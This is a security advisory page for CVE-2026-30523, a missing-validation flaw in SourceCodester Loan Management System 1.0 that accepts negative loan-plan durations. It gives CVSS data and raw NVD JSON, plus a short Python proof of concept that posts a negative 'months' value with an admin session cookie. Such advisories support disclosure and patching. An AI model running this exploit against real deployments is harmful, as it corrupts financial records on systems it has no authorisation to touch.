Security Vulnerability Report
中文
CVE-2026-30523 CVSS 6.5 MEDIUM

CVE-2026-30523

Published: 2026-04-01 15:22:59
Last Modified: 2026-04-07 12:03:10

Description

A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to the lack of proper input validation. The application allows administrators to define "Loan Plans" which determine the duration of a loan (in months). However, the backend fails to validate that the duration must be a positive integer. An attacker can submit a negative value for the months parameter. The system accepts this invalid data and creates a loan plan with a negative duration.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Loan Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-30523: Negative Loan Plan Duration # This script requires valid administrator session cookies. import requests def exploit_negative_months(target_url, session_cookie): """ Attempts to create a loan plan with a negative duration. """ headers = { "Cookie": f"PHPSESSID={session_cookie}", # Adjust cookie name based on app "Content-Type": "application/x-www-form-urlencoded" } # The endpoint might be '/admin/loan_plan.php' or similar, needs verification endpoint = f"{target_url}/classes/Master.php?f=save_loan_plan" # Hypothetical endpoint payload = { "plan_name": "Malicious Plan", "months": -12, # Vulnerable parameter: negative integer "interest_rate": 5 } try: response = requests.post(endpoint, data=payload, headers=headers) if response.status_code == 200 and "success" in response.text.lower(): return "[+] PoC successful: Negative loan plan created." else: return f"[-] PoC failed or undetermined. Response: {response.text[:200]}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # target = "http://localhost/loan_system" # session_id = "admin_session_id_here" # print(exploit_negative_months(target, session_id))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30523", "sourceIdentifier": "[email protected]", "published": "2026-04-01T15:22:59.170", "lastModified": "2026-04-07T12:03:10.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Business Logic vulnerability exists in SourceCodester Loan Management System v1.0 due to the lack of proper input validation. The application allows administrators to define \"Loan Plans\" which determine the duration of a loan (in months). However, the backend fails to validate that the duration must be a positive integer. An attacker can submit a negative value for the months parameter. The system accepts this invalid data and creates a loan plan with a negative duration."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7902576E-876D-4BE4-8EF6-28B7403B130D"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Loan-Management-System/BusinessLogic-LoanPlan-NegativeMonths.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}